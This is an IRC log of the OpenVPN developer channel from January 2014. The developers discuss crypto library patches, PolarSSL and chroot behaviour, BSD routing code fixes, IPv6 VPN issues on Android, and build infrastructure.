<@cron2> plaisthos: already pushing 14:07 <@plaisthos> cron2: :) 14:08 < syzzer> I'm planning for a while now to at least review janjust's ECDSA patch, and even wanted to look into the ECDSA additions 14:08 < syzzer> problem is, life keeps getting in the way :p 14:08 <+janjust> hehe I know that problem a bit too well 14:08 <@cron2> syzzer: haha :-) 14:08 < syzzer> so I'm a bit afraid to make primises 14:08 < syzzer> *promises 14:09 <@cron2> syzzer: as long as you don't feel annoyed with me poking you here and then :-) 14:09 < syzzer> nope, I'm perfectly fine with that :) 14:10 < syzzer> I do think I'll be able to ACK janjust's patch "soonish" 14:10 <+janjust> it's only been lying around for a year or so, what's a few more weeks? 14:10 < syzzer> I need to dig in OpenSSL a bit further, I don't trust their API to do what one would expect... 14:11 <@plaisthos> syzzer: :D 14:11 <@plaisthos> like rsa_sign with the SIGN_FOR_TLS actually being to sign for TLS :D 14:12 < syzzer> yeah, or their use functions with 'sslv23' in their name to enable cipher negotiation... 14:13 <@vpnHelper> RSS Update - gitrepo: Reduce IV_OPENVPN_GUI_VERSION= to IV_GUI_VER= <https://github.com/OpenVPN/openvpn/commit/7efaca734b8d633441ec3d7def2a2768864dedcf> 14:13 < syzzer> as for polarssl, they've already included my patches in 1.3.3, and pkcs11-helper has included my patch in their tree, so I could send my patches to the mailinglist 14:14 < syzzer> but then users would need an unreleased pkcs11-helper version on their system to get it to work 14:14 <@mattock> you guys still want some more punishment, or shall we call it a day after this topic? 14:14 <+janjust> only if they want pkcs11+ec support 14:14 <@plaisthos> ecdsa unfortunately will require me/someone else to patch external-key-management to something different than only RSA 14:14 <@cron2> syzzer: I think that stuff would go to 2.4, which we're not going to release for a few more months... 14:15 < syzzer> no, for polar ec-support needs polar 1.3, which needs these patches for pkcs11-helper 14:15 <@cron2> (release planning is "2.3.3 in a few weeks, 2.4_alpha when the dual-stack stuff is fully merged and stable, and d12fk's stuff is in" 14:15 < syzzer> plaisthos: polar itself needs more patches for ec+pkcs11 indeed 14:15 < syzzer> openvpn could then just copy that code ;) 14:16 <@plaisthos> syzzer: that stuff is OpenSSL specific 14:16 <@mattock> cron2: that makes sense - all we need is d12fk to push his patches to the ml :P 14:16 <@plaisthos> like changing from rsa_method to ENGINE_* 14:16 < syzzer> cron2: okay, I'll dig the polar 1.3 patches up soon then 14:17 < syzzer> plaisthos: yes, you are right, management-external-key needs more patches for ecdsa too... 14:20 <@mattock> so, continue the discussion next week / on the ml? 14:20 < syzzer> yep, I think so 14:20 <@cron2> yep... 14:21 <@mattock> excellent! 14:21 <@mattock> rather lengthy and technical meeting, but we made some good progress 14:21 <@mattock> let's see if my clipboard can take all this data without causing a memory overflow 14:24 <@mattock> sending the summary now 14:24 * cron2 is tired and waves good night 14:24 <@cron2> dazo: you can wake up now, meeting is over 14:25 <@mattock> same here! 14:25 <@mattock> bye guys! 14:25 * syzzer too. 14:25 <@jamesyonan> take care 14:26 < syzzer> oh, dazo: I've taken a look at #218, but there's not really a nice fix :( 14:27 < syzzer> PolarSSL opens and closes /dev/urandom every time it needs to read some random. I could do the random init manually from OpenVPN, not using Polar's safe defaults. But that would mean more code to maintain for us... 14:28 <@cron2> ok, so polar + chroot don't mix very well, unless you provide a /dev/urandom there. Document, close, done. 14:28 <@cron2> where do we document this??? 14:28 < syzzer> yup, I vote for that 14:28 < syzzer> "somewhere on the wiki"? 14:28 <@plaisthos> nah 14:29 <@plaisthos> in the man-page 14:29 <@cron2> --chroot? 14:29 <@plaisthos> yes 14:29 * cron2 takes a note and will do a patch soonish 14:29 <@cron2> syzzer: could you update the ticket? 14:29 < syzzer> cron2: sure. 14:30 <@plaisthos> Aka: Please note that OpenVPN compiled with PolarSSL needs a /dev/random inside the chroot 14:30 <@cron2> thanks 14:30 <@cron2> plaisthos: yes, like that 14:30 <@dazo> syzzer: I think this should be solved in PolarSSL, tbh ... at least add some "config setting" during initialisation to open urandom and keep it open 14:31 <@dazo> then openvpn could just tell polarssl to open urandom before the chroot() call 14:31 < syzzer> dazo: yes, that would be the best solution. Might break their API, but they don't seem to care much about that :p 14:32 <@dazo> heh, exactly :) 14:33 * dazo heads out too 14:34 < syzzer> cron2: I'll update the ticket tomorrow. Don't have my trac credentials at hand... 14:34 * syzzer heading out too. Bye! 14:34 <@cron2> syzzer: good enough :-) 14:51 -!- dazo is now known as dazo_afk 15:22 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 15:26 <@plaisthos> installing os x 10.6 vmware .... 15:28 <@plaisthos> Developing/testing a IV_GUI_VER patch for Tunnelblick will be a lot of work :/ 15:46 <@cron2> why? 15:46 <@cron2> is it still not building? 15:52 <@plaisthos> I gave up under 10.9 15:53 <@plaisthos> and xcode 3.2.6 is also a 4.4 GB d/l 15:55 <@plaisthos> and os x 10.6 feels a bit like nostaliga 15:56 <@cron2> I see. (So I take it the Android app is already done?) 15:56 <@plaisthos> cron2: sure 15:57 <@plaisthos> http://code.google.com/p/ics-openvpn/source/detail?r=9419e453df27248c9e53840b3116b70716b5b73a 15:57 <@vpnHelper> Title: 9419e453df27 - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 15:58 <@cron2> already pushed out the update? 15:58 <@plaisthos> no 15:58 <@plaisthos> not to the store 15:59 <@plaisthos> That will take probably 1-2 more weeks 16:00 <@plaisthos> Right now I don't consider that change important enough to warrent an update to the store 16:02 <@cron2> truly it isn't, no :-) 16:02 <@cron2> anyway, need to go to bed now, gn8 16:02 <@plaisthos> cron2: me too, good night 22:57 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] --- Day changed Fri Jan 10 2014 00:11 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 265 seconds] 02:06 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Remote host closed the connection] 02:10 -!- Weasel_ [kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 02:23 -!- Weasel_ [kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Remote host closed the connection] 02:30 -!- Weasel_ [kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 02:43 -!- Weasel_ [kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Remote host closed the connection] 02:45 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 02:45 <@cron2> oh cool 02:46 <@cron2> https://git.gnome.org/browse/network-manager-openvpn/commit/?id=77115c5377e009220c3c98102450f92d3a7f6f9e 02:46 <@vpnHelper> Title: network-manager-openvpn - OpenVPN support for NetworkManager (at git.gnome.org) 03:31 <@plaisthos> nice 03:32 <@plaisthos> does the network manager really parse the openvpn route/ifconfig output? 03:35 <@cron2> as far as I understand, yes. It runs with --ifconfig-noexec (or what it is) and handles the pushed config in nm-openvpn-plugin. But dazo should know more about the details 04:28 <@plaisthos> hm 04:28 <@plaisthos> that sound like they should have something like a VPN API 04:28 <@plaisthos> if they could also provide a tun interface openvpn would not even need root 04:52 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 05:11 <@cron2> yep. I think as soon as we have the service pipe code, NM could use that 05:13 -!- dazo_afk is now known as dazo 06:51 <@plaisthos> just use the code for android and use the management interface ;) 07:46 <@cron2> that would work as well... someone should tell them :-) 07:47 <@plaisthos> cron2: I have no idea whom to contact 07:47 <@plaisthos> mattock: I did not get any notification for 306, can you check? 07:49 <@cron2> tore also complains he didn't get a notification for #306 07:50 <@cron2> so "trac submitters never reply" could be just due to "trac is not telling them" 07:52 <@plaisthos> yeah 07:52 <@plaisthos> I would not check on the tracker of a project where I submitted a bug unless I get notified 07:53 <@plaisthos> that should be fixed otherwise the bug tracker is more harmful than useful :( 07:54 <@plaisthos> my email address under preferences is empty in trac 07:56 <+krzee> i get notifications 08:01 <@cron2> I also get notifications 08:08 <@cron2> plaisthos: I got a notification about you being added to #327 08:16 < syzzer> on a side note related to the ipv6/multihome discussion, I think 'fix compiler errors' should be added as a todo for 2.4. Last week I compiled OpenVPN with --enable-strict, the amount of errors is frightening. 08:18 < syzzer> *if* this really is because of wrong types / sizes, better warnings and perhaps static checking could help to prevent this 08:21 <@plaisthos> cron2: probably my email missing in trac peferences 08:21 <@plaisthos> not sure about that though 08:22 <@plaisthos> if new users don't get an email set we should fix that too 08:22 <@plaisthos> syzzer: try compiling with clang 08:23 <@plaisthos> [15:23]arne@pluto:~/oss/openvpn-git% make -j8 |& grep warning | wc -l 61 08:24 <@plaisthos> that happens if you compile opnevpn out of the box on os x 08:24 <+krzee> what if you compile it in the box? :D 08:25 <@cron2> syzzer: ack. But some of the changes "just to silence warnings" are problematic itself, so this isn't going as fast as one could hope 08:25 <@plaisthos> cron2: you promised to look at the ir6->netbits a year ago 08:25 <@plaisthos> mroute.c:525:20: warning: comparison of unsigned expression >= 0 is always true 08:25 <@plaisthos> [-Wtautological-compare] 08:25 <@plaisthos> if (ir6->netbits >= 0) 08:25 <@plaisthos> ~~~~~~~~~~~~ ^ ~ 08:25 <@cron2> plaisthos: nah... 08:25 <@cron2> ... that was *more* than a year ago! (sorry) 08:25 <@cron2> anyway, need to run... bbl in 1h or so 10:02 <@cron2> Zunächst wird die Zweigspitze zurückgespult, um Ihre Änderungen 10:02 <@cron2> darauf neu anzuwenden... 10:21 <@plaisthos> git messages are cryptic 10:21 <@plaisthos> task: how can we make them even more cryptic? 10:21 < waldner> is "Zweigspitze" german for "master"? 10:23 < waldner> ah, HEAD 10:23 < waldner> (sorry for the noise) 10:23 <@plaisthos> waldner: tip of a branch 10:24 < waldner> yeah 10:26 <@cron2> plaisthos: translate to finnish! 10:26 <@dazo> plaisthos: maybe it's just the german translation ...... *ducks* 10:28 <@plaisthos> dazo: yeah right :) 10:28 <@plaisthos> dazo: feel free to compare hg and git error messages 10:28 <@dazo> :) 10:29 <@dazo> I've used git for so long now, that I find anything else cryptic and confusing :) 11:17 <@plaisthos> cron2: I will look at the patches later 11:18 <@plaisthos> I look into the whole size error warnings 11:18 <@plaisthos> perhaps we can get OpenVPN 2.4 to compile on OSX without warnings 11:18 <@plaisthos> (and probably FreeBSD) 14:06 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Ping timeout: 265 seconds] 14:39 -!- mattock is now known as mattock_afk 15:20 <@cron2> IV_GUI_VER=net.openvpn.connect.ios_1.0.4-137 15:20 <@cron2> yay, James can be really quick sometimes :) 16:03 <@plaisthos> yay but such such a small change 16:03 <@plaisthos> just chaging it is quicker than remembering or putting on a todo list 16:18 -!- dazo is now known as dazo_afk 16:23 <@plaisthos> From https://android.googlesource.com/platform/system/netd/+/android-cts-4.4_r1/SecondaryTableController.cpp 16:23 <@vpnHelper> Title: SecondaryTableController.cpp - platform/system/netd - Git at Google (at android.googlesource.com) 16:23 <@plaisthos> //try and set up for ipv6. ipv6 nat came in the kernel only in 3.7, so this can fail 16:23 <@plaisthos> r //Without V6 NAT we can't do V6 over VPNs. 16:25 <@plaisthos> for reference N7 2013 runs 3.5 16:25 <@plaisthos> 3.4 16:25 <@plaisthos> so even if ipv6 connctivity ipv6 vpn does not work under the n7 .... :( 16:51 <@plaisthos> /usr/share/doc/openvpn/examples/sample-keys/ 16:52 <@plaisthos> that sounds like a terrible idea 16:52 <@plaisthos> did we do that or is that debian? --- Day changed Sat Jan 11 2014 00:19 -!- mattock_afk is now known as mattock 00:57 <@pekster> IPv6 NAT? Sounds horrible. What's wrong with routing a prefix? 00:58 <@pekster> Globally-bound traffic should be source from a valid global address, and local-only traffic (that will never be routed to a global unicast address) can use ULA quite happily 02:25 -!- mattock is now known as mattock_afk 03:41 <@cron2> plaisthos: I'd assume that they want IPv6 NAT to enable connection sharing over the IPv6 VPN 03:42 <@cron2> pekster: well, routing a prefix is fine, but that would require support in all the IPv6 VPN providers and apps, and for the time being, I'd settle for "VPN providers offer a single IPv6 address on their VPN"... 05:23 <@vpnHelper> RSS Update - tickets: #360: on linux server, --proto udp is ipv4-only <https://community.openvpn.net/openvpn/ticket/360> 05:45 <@vpnHelper> RSS Update - gitrepo: Cleanup ir6->netbits handling. <https://github.com/OpenVPN/openvpn/commit/432ca2b8f15e4bb4d6fcf72b4b48b1a371247e7b> || remove some 'unused variable' warnings <https://github.com/OpenVPN/openvpn/commit/672943fbef58c444913a6d378fbd532f9a0c8605> 06:24 <@cron2> so. t_server test beefed up - the "git master" server is now nightly tested against a 2.3 and a git master client 06:25 <@cron2> mmmh. should I add a 2.2 client...? or polar? 07:02 -!- mattock_afk is now known as mattock 07:03 <@plaisthos> nah they use ipv6 nat to do policy routing and change the source address 07:08 <@cron2> whee 07:09 <@cron2> but that would imply IPv6 VPN is never working, even if you have global IPv6 connectivity? 07:09 <@plaisthos> guess so 07:09 <@plaisthos> I have no IPv6 wifi anywhere 07:09 <@plaisthos> so I cannot test it unfortenately 07:09 <@cron2> you have wifi at home? 07:09 <@plaisthos> yeah but without IPv6 07:09 <@cron2> should I tunnel you an IPv6 /48? 07:10 <@cron2> (easy if you have a static IPv4 address, more complicated to setup if we need openvpn to do that for a dynamic source) 07:11 <@cron2> (why isn't your university having IPv6...?) 07:11 <@plaisthos> I have an OpenVPN IPv6 tunnel myself to my university but setting up all that advirtesment etc for ipv6 is not the nicest thing to do 07:11 <@plaisthos> let's see what the Fritz!Box can do as tunnel protocols 07:13 <@cron2> I think it should do IPv6IP (proto41) and GRE, which I can both do here. Or it can, I think, do the sixxs.net APIPA stuff 07:14 <@cron2> (Fritz! can do anything, it seems, including singing and dancing at the same time) 07:14 <@plaisthos> 6to4, SixXs, 6RD and 6in4 07:15 <@plaisthos> altough SixXs does not like me anymore 07:15 <@plaisthos> I cannot recover my password for my -6BONE account and I am also not permitted to add a duplicate account 07:15 <@plaisthos> so screw them 07:17 <@plaisthos> lets to 6to4 and see what happens on the N7 07:18 <@cron2> 6in4 should be proto 41 07:18 <@plaisthos> yeah. Looks like it 07:18 <@plaisthos> but with a dynamic IP that is not that useful 07:18 <@cron2> 6to4 is good enough for a test, but I'd not use it for production 07:18 <@plaisthos> yeah 07:18 <@cron2> oh, dyn ip is bad 07:21 <@plaisthos> I could switch to UnityMedia. That would probably give me good IPv6 connectivity but nothing good else 07:22 <@plaisthos> including having to setup a second AP since their box cannot do 802.11a 07:24 <@plaisthos> From 2002:5d82:49de:0:a0f9:e472:1432:a25a icmp_seq=30 Destination unreachable: Port unreachable 07:24 <@plaisthos> completely broken ... 07:25 <@plaisthos> 0/10 on test-ipv6.com 07:25 <@cron2> *sigh* 07:25 <@plaisthos> without VPN 7/10 since I am using 6ot4 07:25 <@plaisthos> at least it does not leak IPv6 07:26 <@cron2> yeah, some minus points are expected :-) 07:34 <@plaisthos> Build succeded (7 errors) 07:34 <@plaisthos> is that good or bad? 07:35 <@cron2> 7 errors doesn't sound overly successful :-o 07:36 <@plaisthos> yeah 07:36 <@plaisthos> building tunnelblick :( 07:36 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 07:37 <@plaisthos> /bin/sh: @echo: command not found 07:37 <@plaisthos> something is screwed up with the makefiles 07:37 <@cron2> huh 07:37 <@cron2> yeah 07:57 <@plaisthos> it is just the current tunnelblick revision that is borken 07:57 <@plaisthos> going back 4 revision fixes the problem 08:01 <@plaisthos> nah it does not 08:01 <@plaisthos> I give up on Tunnelblick 08:01 <@plaisthos> that is too much work for a IV_GUI_VER patch 08:39 <@plaisthos> cron2: I have now also pushed a I_GUI_VER version to the beta channel of my app 13:36 <@cron2> plaisthos: just put it into their bugtracker - "look, this is a new feature you can use in 2.3.3 or git master, and it helps your users" and it shouldn't be too hard for them to figure out how to add it 13:36 * cron2 has added "--setenv IV_GUI_VER t_client.fbsd74_1" to his test framework :) 13:51 <@plaisthos> :) 15:51 <@cron2> ... maybe it would be sufficient to just point out "Subject: heads up to openvpn gui developers" on the openvpn-devel list that this is now there... the tunnelblick authors are reading it :-) 22:48 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 22:50 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 22:50 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Jan 12 2014 05:08 -!- Netsplit *.net <-> *.split quits: @raidz, +krzee, mback2k_, @pekster, @vpnHelper, +novaflash 05:43 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 05:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:43 -!- ServerMode/#openvpn-devel [+ov raidz krzee] by wolfe.freenode.net 05:47 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 05:47 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 05:51 -!- mback2k_ [~freenode@89.238.84.46] has joined #openvpn-devel 10:09 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 10:09 -!- mode/#openvpn-devel [+o pekster] by ChanServ 11:01 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer] 11:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:05 -!- dazo_afk is now known as dazo 11:30 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: bouncing] 11:30 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 11:31 -!- mode/#openvpn-devel [+o pekster] by ChanServ 14:49 -!- mattock is now known as mattock_afk 15:36 * cron2 sees a commit day come up, as soon as plaisthos wakes up :) 16:07 <@cron2> or not :) --- Day changed Mon Jan 13 2014 01:03 -!- mattock_afk is now known as mattock 02:19 < syzzer> "the sound of a commit night whooshing by"? 02:27 <@cron2> yeah :-) 03:03 <@mattock> cron2: I may need to shutdown build.openvpn.net for a few moment today 03:03 <@mattock> ok? 03:03 <@cron2> migrating again...? :-) 03:03 <@mattock> yes, but the actual VM from EC2 ("classic") to our VPC 03:03 <@cron2> go for it, I'm not going to push anything now anyway 03:03 <@mattock> the buildbots should not be affected 03:04 <@mattock> at worst the public IP will be gone for some hours, but they don't need it 03:07 <@mattock> ok, build will go down briefly 03:34 <@mattock> snapshot was taken and the (old) build is again functional 03:43 <@mattock> restarting in VPC, takes some mins 03:59 <@mattock> build will be publicly unavailable for a while, DNS is propagating atm 07:01 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:01 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:36 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 07:36 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:38 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:26 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 10:26 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:27 <@d12fk> <spam> new fun sophos ad: http://vimeo.com/79241888 10:27 <@vpnHelper> Title: Secure Your Future - Zombies on Vimeo (at vimeo.com) 10:27 <@d12fk> it has zombies in it 10:47 -!- mattock is now known as mattock_afk 12:43 <@cron2> what the hell is --redirect-private? 15:05 -!- dazo is now known as dazo_afk 15:29 <@plaisthos> cron2: Did I understood that correct? OpenBSD changing public visible structs in incompatible ways? 15:29 <@cron2> plaisthos: well, between major releases, yes 15:29 <@cron2> this is an API, not an ABI, and a "very close to the system" API at that... 15:30 <@cron2> they change one of the integers from 32bit to 64bit, and that will of course cause problems for programs just copying the struct - which "we" do on 4 of the BSDs, but not on Darwin... *roll eyes* 15:31 <@cron2> (which is why "openvpn --show-gateway" nicely worked on Darwin - you remember? - but fails on recent OpenBSDs) 16:01 <@cron2> ok, patch applied (with modifications), tested on master on all BSDs (that use the affected code parts), now(!) --show-route works on OpenBSD as well (doesn't in 2.3.2), and the patch backports cleanly to 2.3.x - I think we're good :-) - send-email *fire* 16:09 <@plaisthos> cron2: along with a libc.so bump? 16:13 <@cron2> I'm not sure when they actually changed it - #340 talks about "soon" (in 2013), but our code already didn't work on the 4.9 system I installed in 2012 or so 16:14 <@cron2> seems they changed it before... (as did FreeBSD, btw, when they introduced the multiple routing tables) 16:15 <@cron2> FreeBSD does libc.so bumps on major releases, though that wouldn't have an effect here, as it's really "kernel structures copied to userland" via a PF_ROUTE/SOCK_RAW socket. 16:17 <@cron2> anyway, to bed now. $daughter[1] has developed a cough, and this is going to be a rough night :( --- Day changed Tue Jan 14 2014 02:15 <@cron2> yay, the lone difference between that huge blob of code for FreeBSD and OpenBSD is... 02:15 <@cron2> ... tada... 02:15 <@cron2> - int s, seq, l, pid, rtm_addrs, i; 02:15 <@cron2> + int s, seq, l, rtm_addrs, i; 02:15 <@cron2> + pid_t pid; 02:15 <@cron2> *roll eyes* 02:21 * cron2 will send more patches for git master for that - unify, unify with MacOS code (which is different because it can do much more), ... 03:03 -!- mattock_afk is now known as mattock 03:38 <@plaisthos> ASSERT (hostname || servname) 03:38 <@plaisthos> *sigh* 03:38 <@plaisthos> how the hell did a user manage to make this assert fail?! :( 04:02 <@cron2> lol 04:02 * cron2 is trying to understand how the route_get_gateway() works by reading /usr/src/sbin/route/route.c on FreeBSD, and feels seriously sick 04:06 <@cron2> aw shit 04:06 <@cron2> #define ROUNDUP(a) \ ((a) > 0 ? (1 + (((a) - 1) | (sizeof(uint32_t) - 1))) : sizeof(uint32_t) 04:06 <@cron2> on MacOS, and sizeof(long) on FreeBSD. Besides that, the identical code... 04:11 <@cron2> plaisthos: coming back to #42 - do you have a 64bit OSX at hand? 04:13 <@cron2> if yes, could you check that "openvpn --show-gateway" is working, including the interface name and HWADDR? 04:13 <@cron2> Tue Jan 14 11:12:51 2014 ROUTE_GATEWAY 194.97.140.30/255.255.255.224 IFACE=em0 HWADDR=00:0c:29:32:4f:10 04:13 <@cron2> this is "good". Only the gateway IP is "bad" 04:32 <@cron2> mattock: svn.openvpn.net seems to be broken (or "lost when moving"). Could you check that? 04:32 <@cron2> the DNS name resolves to an IP address that resolves back to "wan.telethra.net" 04:50 -!- dazo_afk is now known as dazo 04:55 <@cron2> dazo: I've actually *tested* this on all platforms before sending this to the list :-) - so, no, it won't break the buildslaves 04:56 <@dazo> cron2: even better! :) 04:57 <@cron2> the point about 2.3 is: there will be more work on the routing stuff in 2.4, and if we uncover bugs in that that we want to backport, having differently-named structures there is bad. Also, our current code is not working right on OpenBSD, but it is, with the patch - so it does qualify as bugfix :-) 04:57 <@dazo> ahh, okay. If it's a bugfix, then it is suitable for 2.3, definitely! 04:58 <@cron2> The android code base is solid on "git master" anyway :-) - plaisthos would never use something so ancient as 2.3 04:58 <@dazo> hehehe, that's what I thought I remembered! 05:01 <@dazo> but we need some autoconf changes .... openvpn doesn't compile on F20, due to some changes in newer autoconf versions 05:02 <@dazo> https://www.flameeyes.eu/autotools-mythbuster/forwardporting/autoconf.html (I'm seeing what's mentioned in the section "Noteworthy changes in autoconf version 2.66 through 2.68") 05:02 <@vpnHelper> Title: 1. Changes in autoconf releases (at www.flameeyes.eu) 05:02 <@cron2> well, it should *compile* fine, as long as you don't run autoreconf on F20, right? 05:03 <@dazo> yeah, that might be ... then I need to grab a 'dist file' from a place where it did work 05:03 * dazo tests 05:04 <@cron2> yep. But still, we should fix it for 2.4, at least 05:04 <@dazo> yeah. I'm looking at it now 05:04 <@dazo> I should at least be able to compile from master 05:05 <@cron2> I've seen the warnings about AC_LANG_SOURCE, but I thought it's "just warnings", not fatal 05:05 <@dazo> it was just a warning ... now it seems fatal :-P 05:07 <@dazo> (it compiles fine with at 'make dist' tarball 05:07 <@dazo> ) 05:20 <@dazo> okay, part of the problem was some cached lt*.m4 files in ./m4 ... but there was a few other details 05:30 <@cron2> yeah, I think this is why I always run "-if", that cleans up everything 05:31 <@cron2> especially when changing configure.ac and adding new files to Makefile.am etc, like with the lz4 additions 05:32 <@dazo> ahh, -f ... didn't think of that. I've used -vi ... need to use -vif 05:32 <@dazo> hmmm .... 'make check' doesn't spit out anything to stdout anymore .... 05:49 <@plaisthos> cron2: yeah. My notebook is 10.9 64 bit 05:56 <@cron2> plaisthos: good (the question was about openvpn --show-gateway, but I found another victim in the meantime - it justworks, and trac#42 is semi-bogus, the problematic bits in there have been fixed in the 2.1 svn already :)) 06:00 <@plaisthos> cron2: Tue Jan 14 13:00:30 2014 ROUTE_GATEWAY 131.234.40.1/255.255.252.0 IFACE=en0 HWADDR=3c:07:54:33:dd:2e 06:00 <@plaisthos> on release/2.3 for me :) 06:11 <@cron2> yeah. I had confusion between #340 and #42, which is the same underlying issue, but #42 got fixed before, while #340 is... not the way it should be. There's 3 copies of that code, 1 (macos) is much more powerful than the rest, the other 2 are identical except for "int pid" vs "pid_t pid", and just using the macos code with *one* #ifdef for all 5 BSDs nicely works... 06:11 <@cron2> I just need to test on OpenBSD/amd64 to be sure, as this is really a "long" vs. "uint32" issue 06:30 <@cron2> plaisthos: any comments on the <net/route.h> patch / trac#340? 06:37 <@plaisthos> have not look at the patch yet 06:40 <@d12fk> cron2: in tun.c where you do add_route_connected_v6_net() for ipv6, where's the equivalent for ipv4 06:40 <@d12fk> i suppose it's done later instead?! 06:41 <@d12fk> or does v4 and v6 behave differently here 06:42 <@cron2> d12fk: platforms are different, and on some platforms, v4 and v6 are different again 06:43 <@cron2> IIRC windows needs this for v6 only, while others need it for v4+v6 06:43 <@d12fk> ok, strange 06:46 <@cron2> well, this is actually somewhat to be expected - the IETF lore for IPv6 is that "having an IPv6 address" is decoupled from "the /64 where this is coming from is on the local link" 06:46 <@cron2> so a router could send out RAs with "configure an address from this /64!" but still not permit that prefix on-link, so *all* communication has to go through the router... 06:47 <@cron2> whether or not that is reasonable stands to be debated, but it explains why v4 and v6 are different here 06:47 <@d12fk> ah ok 06:48 <@cron2> Tue Jan 14 13:47:09 2014 ROUTE_GATEWAY 194.97.140.30/255.255.255.224 IFACE=em0 HWADDR=00:0c:29:38:4b:d9 06:48 <@cron2> OpenBSD 5.4/amd64 :-) 06:53 <@plaisthos> looks good 06:57 <@d12fk> cron2: another thing. i noticed that you don't do s.th. similar to windows_route_find_if_index() for ipv6 routes but always use the tap adapter name. is ther no gateway routes for ipv6 or some others not going to the tap itf? 07:01 <@cron2> I bluntly decided to not support ipv6 routes pointing elsewhere unless someone shows me a use case. Made my life much easier, back then :-) 07:01 <@d12fk> got it, I'll stick with that spirit =) 07:01 <@cron2> for 2.4 we might actually need to add that to be able to do "redirect-gateway ipv6" (because that needs "figure out what's the current default gateway, add a host route $vpn_server -> $gateway, then move default to tun/tap") 07:02 <@cron2> well, "redirect-gateway ipv6 while connecting over ipv6", that is 07:02 <@cron2> if we connect over ipv4 and do "redirect-gateway ipv6", this is all fine 07:33 <@cron2> so, done. *This* is only for master. 07:42 < syzzer> ooh, patches with lots more -'s than +'s, and still fixing bugs/adding functionality. Nice :) 07:46 <@cron2> \o/ 09:12 <@mattock> dazo, cron2: do you see the "Submit new build" button in Coverity Scan, when you've selected the "OpenVPN" project? 09:12 <@mattock> I can't, so I assume I don't have the privileges 09:13 <@cron2> uh, will look later, on the run 09:13 <@mattock> ok, np 09:13 <@cron2> mattock: could you look into "what should be the ip/ipv6 address be for svn.openvpn.net" in the meantime? ;-) 09:13 <@mattock> there is no svn.openvpn.net anymore, afaik 09:14 <@mattock> James has gone complete Git 09:14 <@mattock> ly 10:10 <@cron2> so the old machine is gone? 10:10 <@cron2> right now the IP is pointing "somewhere" that is not you, in any case 10:25 <@plaisthos> there is git.openvpn.net 10:25 <@plaisthos> now 10:47 <@cron2> it would still be good to be able to look up history in svn 11:22 <@plaisthos> didn't we have a git copy of the svn tree? 11:24 <@plaisthos> isn't the AS-2.1 branch of openvpn-test basically a copy of the svn? 11:26 <@plaisthos> oh that branch just start in the middle nowhere basically :/ 11:36 * d12fk just set the first ipv6 address via service. progress 12:30 <@plaisthos> d12fk: whee! 13:05 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Remote host closed the connection] 13:06 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 13:23 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Quit: Off the grid] 13:24 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 13:28 <@d12fk> cron2: shouldnt/could the cleaning of the host bits in print_in6_addr_netbits_only() be done to the value in the struct as well 13:29 <@d12fk> i just stumbled over this because the service interface uses the route struct directly 13:29 <@d12fk> so it tries to set the route ADDR/64 with gw ADDR 13:47 <@d12fk> ok routing is in place also 13:48 <@d12fk> anyone wants to binaries for alpha tests 14:12 <@cron2> d12fk: well, I never had the need to clear it in the route structure - but since you ask, I don't see a real need to keep it intact, so one could restructure this, or make a helper that will clear a struct in6_addr 14:12 <@d12fk> yeah did the helper 14:13 <@cron2> d12fk: besides this: great news indeed! 14:14 -!- mattock is now known as mattock_afk 14:34 <@cron2> d12fk: as a side note, if you could look at trac#237 and decide whether this is "long fixed" or "wontfix"? It's at milestone 2.2.2, but actually it's a gui presentation thing 14:41 <@plaisthos> d12fk: is the source available somewhere? 14:41 <@plaisthos> I am just a little bit curious how you did things 14:47 <@d12fk> not yet ,but i'll publish the repo after i cleaned up 14:47 <@d12fk> sending a patch would be too monolithic 14:48 * cron2 would really prefer a patch for the "openvpn" code. For the new service, "grab the files from *there*" is good enough for me 14:49 <@d12fk> you can pull the patches from the repo 14:49 <@d12fk> or is this not working with the merge infrastructure? 14:50 <@d12fk> in that case i can produce patches after the rview has been finished 14:51 <@cron2> well, my current workflow starts with a saved e-mail and an ACK on the mailing list, 